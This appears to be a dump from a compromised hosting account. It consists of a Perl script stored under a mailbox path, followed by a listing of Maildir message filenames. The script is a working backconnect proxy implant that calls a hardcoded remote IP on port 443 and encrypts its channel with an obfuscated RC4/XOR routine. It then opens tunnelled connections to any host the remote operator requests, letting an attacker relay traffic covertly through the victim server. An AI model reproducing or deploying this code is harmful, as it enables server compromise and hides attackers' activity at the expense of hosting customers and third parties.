/home/fdhrevqn/mail/.info@zreviw_info/cur/v3pdef2x
#!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '36.255.98.153';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);
-
[D]
app_9
-
[F]
05l2c2ki
-
[F]
1681171566.M500495P2714179.server225.web-hosting.com,S=87932,W=89400:2,S
-
[F]
1681182278.M239688P3575938.server225.web-hosting.com,S=1544,W=1586:2,S
-
[F]
1681243209.M189801P328400.server225.web-hosting.com,S=1689,W=1728:2,S
-
[F]
1681617311.M298345P1571104.server225.web-hosting.com,S=30141,W=30556:2,S
-
[F]
1682366375.M91081P608015.server225.web-hosting.com,S=1686,W=1725:2,
-
[F]
1682694299.M516564P1567284.server225.web-hosting.com,S=2247,W=2290:2,
-
[F]
1683049408.M364593P2230612.server225.web-hosting.com,S=2198,W=2241:2,
-
[F]
1683154948.M814325P3277206.server225.web-hosting.com,S=2186,W=2228:2,
-
[F]
1683312163.M467066P1405546.server225.web-hosting.com,S=2201,W=2243:2,
-
[F]
1683320410.M864594P2074045.server225.web-hosting.com,S=2087,W=2129:2,
-
[F]
1683322608.M406103P2214353.server225.web-hosting.com,S=48792,W=49519:2,
-
[F]
1683483889.M742724P3464836.server225.web-hosting.com,S=1283,W=1316:2,
-
[F]
1683650876.M640205P1333700.server225.web-hosting.com,S=36068,W=36647:2,S
-
[F]
1683651021.M270769P1487884.server225.web-hosting.com,S=1280,W=1313:2,
-
[F]
1683651950.M558267P1521609.server225.web-hosting.com,S=1282,W=1315:2,S
-
[F]
1683653637.M258730P1521609.server225.web-hosting.com,S=12747,W=13125:2,S
-
[F]
1683656520.M585785P1926730.server225.web-hosting.com,S=50076,W=50820:2,S
-
[F]
1683722821.M447417P3297150.server225.web-hosting.com,S=55336,W=56157:2,S
-
[F]
1683794446.M716312P1319635.server225.web-hosting.com,S=43126,W=43770:2,
-
[F]
1683884225.M656618P820532.server225.web-hosting.com,S=52875,W=53660:2,
-
[F]
1683968547.M513917P3981219.server225.web-hosting.com,S=53461,W=54254:2,
-
[F]
1684001494.M263446P2446110.server225.web-hosting.com,S=1251,W=1284:2,S
-
[F]
1684001654.M454454P2446110.server225.web-hosting.com,S=1248,W=1281:2,S
-
[F]
1684001968.M166721P2446110.server225.web-hosting.com,S=1251,W=1284:2,S
-
[F]
1684003231.M106904P2446042.server225.web-hosting.com,S=1248,W=1281:2,S
-
[F]
1684003664.M25418P2571810.server225.web-hosting.com,S=1167,W=1196:2,S
-
[F]
1684008670.M479315P3200397.server225.web-hosting.com,S=1168,W=1197:2,S
-
[F]
1684012182.M473159P3200397.server225.web-hosting.com,S=1168,W=1197:2,S
-
[F]
1684160015.M834460P4004542.server225.web-hosting.com,S=25203,W=25663:2,S
-
[F]
1684160016.M116004P4004542.server225.web-hosting.com,S=18830,W=19089:2,S
-
[F]
1684269553.M319653P676609.server225.web-hosting.com,S=1597,W=1634:2,S
-
[F]
1684487894.M53274P2331017.server225.web-hosting.com,S=1260,W=1293:2,S
-
[F]
1684514266.M80209P229301.server225.web-hosting.com,S=1254,W=1287:2,S
-
[F]
1684569532.M808594P511796.server225.web-hosting.com,S=1599,W=1636:2,S
-
[F]
1684764096.M271241P2354792.server225.web-hosting.com,S=18823,W=19082:2,
-
[F]
1684765440.M693190P2354792.server225.web-hosting.com,S=25200,W=25660:2,
-
[F]
1684872596.M371855P2295021.server225.web-hosting.com,S=1645,W=1684:2,
-
[F]
1685106329.M458563P3480867.server225.web-hosting.com,S=2041,W=2083:2,
-
[F]
1685223137.M124885P3673361.server225.web-hosting.com,S=1928,W=1970:2,
-
[F]
1685369318.M439877P1821285.server225.web-hosting.com,S=18823,W=19082:2,
-
[F]
1685370321.M919288P1932502.server225.web-hosting.com,S=25199,W=25659:2,
-
[F]
1686095374.M693010P3975349.server225.web-hosting.com,S=25199,W=25659:2,
-
[F]
1686095380.M178639P3975349.server225.web-hosting.com,S=1657,W=1696:2,
-
[F]
1686095381.M281697P3975349.server225.web-hosting.com,S=18827,W=19086:2,S
-
[F]
1686146295.M711788P3941923.server225.web-hosting.com,S=36609,W=37194:2,S
-
[F]
1686578428.M945811P2315871.server225.web-hosting.com,S=18829,W=19088:2,
-
[F]
1686595788.M336183P3611082.server225.web-hosting.com,S=53486,W=54279:2,
-
[F]
1686640085.M882104P2499425.server225.web-hosting.com,S=2184,W=2229:2,
-
[F]
1686703236.M496013P3017508.server225.web-hosting.com,S=25201,W=25661:2,
-
[F]
1686733769.M518583P1175407.server225.web-hosting.com,S=2083,W=2128:2,
-
[F]
1686766896.M127619P3453811.server225.web-hosting.com,S=2080,W=2121:2,
-
[F]
1686798619.M703303P1476674.server225.web-hosting.com,S=43993,W=44691:2,
-
[F]
1686888727.M311473P3930544.server225.web-hosting.com,S=2190,W=2233:2,
-
[F]
1686897008.M646559P343783.server225.web-hosting.com,S=2113,W=2156:2,
-
[F]
1686897026.M147537P285172.server225.web-hosting.com,S=1997,W=2040:2,
-
[F]
1686954099.M8967P640769.server225.web-hosting.com,S=2065,W=2109:2,
-
[F]
1686954101.M237444P640769.server225.web-hosting.com,S=2107,W=2150:2,
-
[F]
1686954116.M608587P640769.server225.web-hosting.com,S=1947,W=1991:2,
-
[F]
1686954128.M647397P640769.server225.web-hosting.com,S=1994,W=2034:2,
-
[F]
1687183273.M325245P682122.server225.web-hosting.com,S=18829,W=19088:2,
-
[F]
1687291395.M538071P248315.server225.web-hosting.com,S=1659,W=1698:2,
-
[F]
1687311912.M816980P1688316.server225.web-hosting.com,S=25204,W=25664:2,
-
[F]
1687394782.M993248P3540445.server225.web-hosting.com,S=2375,W=2419:2,
-
[F]
1687442234.M684541P2753847.server225.web-hosting.com,S=2455,W=2500:2,
-
[F]
1687482738.M860678P1672774.server225.web-hosting.com,S=2359,W=2403:2,
-
[F]
1687524114.M985505P515548.server225.web-hosting.com,S=2352,W=2397:2,
-
[F]
1687524115.M977703P515548.server225.web-hosting.com,S=2255,W=2299:2,
-
[F]
1687547684.M406837P2205505.server225.web-hosting.com,S=2403,W=2448:2,
-
[F]
1687570196.M148379P3296151.server225.web-hosting.com,S=2511,W=2556:2,
-
[F]
1687600592.M212528P1761821.server225.web-hosting.com,S=2458,W=2503:2,
-
[F]
593sijoo
-
[F]
5eds0yb6
-
[F]
8ze80rj8
-
[F]
a5a88djk
-
[F]
bmh7bor4
-
[F]
hd7z3752
-
[F]
iczmj3js
-
[F]
p4di9npq
-
[F]
s88k7mji
-
[F]
v3pdef2x